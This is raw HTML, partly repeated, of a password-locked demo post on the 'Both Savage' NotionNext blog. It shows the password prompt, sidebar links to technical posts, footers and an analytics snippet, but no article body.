text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container" class="w-full flex justify-center items-center h-96 "><div class="text-center space-y-3"><div class="font-bold">Please Enter the password:</div><div class="flex mx-4"><input id="password" type="password" class="outline-none w-full text-sm pl-5 rounded-l transition focus:shadow-lg dark:text-gray-300 font-light leading-10 text-black bg-gray-100 dark:bg-gray-500"/><div class="px-3 whitespace-nowrap cursor-pointer items-center justify-center py-2 bg-green-500 hover:bg-green-400 text-white rounded-r duration-300"><i class="duration-200 cursor-pointer fas fa-key"> <!-- -->Submit</i></div></div><div id="tips"></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="pt-10 pb-6 text-gray-400 text-sm border-b"><i class="fa-regular fa-clock mr-1"></i>Last update:  <!-- -->2021-11-05</div><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
+<!DOCTYPE html><html lang="zh-CN"><head><title>加锁文章2 - 密码123456 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="开发,工具"/><meta name="description" content="本文需要输入密码才可访问,密码: 123456"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="加锁文章2 - 密码123456 | Both Savage"/><meta property="og:description" content="本文需要输入密码才可访问,密码: 123456"/><meta property="og:url" content="https://bothsavage.github.io//article/example-2"/><meta property="og:image" content="https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3&amp;q=50&amp;fm=webp&amp;crop=entropy&amp;cs=srgb&amp;t=041a3743-f888-4476-b947-fff856745c02&amp;width=800&amp;fmt=webp"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="本文需要输入密码才可访问,密码: 123456"/><meta name="twitter:title" content="加锁文章2 - 密码123456 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="未"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container" class="w-full flex justify-center items-center h-96 "><div class="text-center space-y-3"><div class="font-bold">Please Enter the password:</div><div class="flex mx-4"><input id="password" type="password" class="outline-none w-full text-sm pl-5 rounded-l transition focus:shadow-lg dark:text-gray-300 font-light leading-10 text-black bg-gray-100 dark:bg-gray-500"/><div class="px-3 whitespace-nowrap cursor-pointer items-center justify-center py-2 bg-green-500 hover:bg-green-400 text-white rounded-r duration-300"><i class="duration-200 cursor-pointer fas fa-key"> <!-- -->Submit</i></div></div><div id="tips"></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="pt-10 pb-6 text-gray-400 text-sm border-b"><i class="fa-regular fa-clock mr-1"></i>Last update:  <!-- -->2021-11-05</div><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
                 gtag('js', new Date());
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
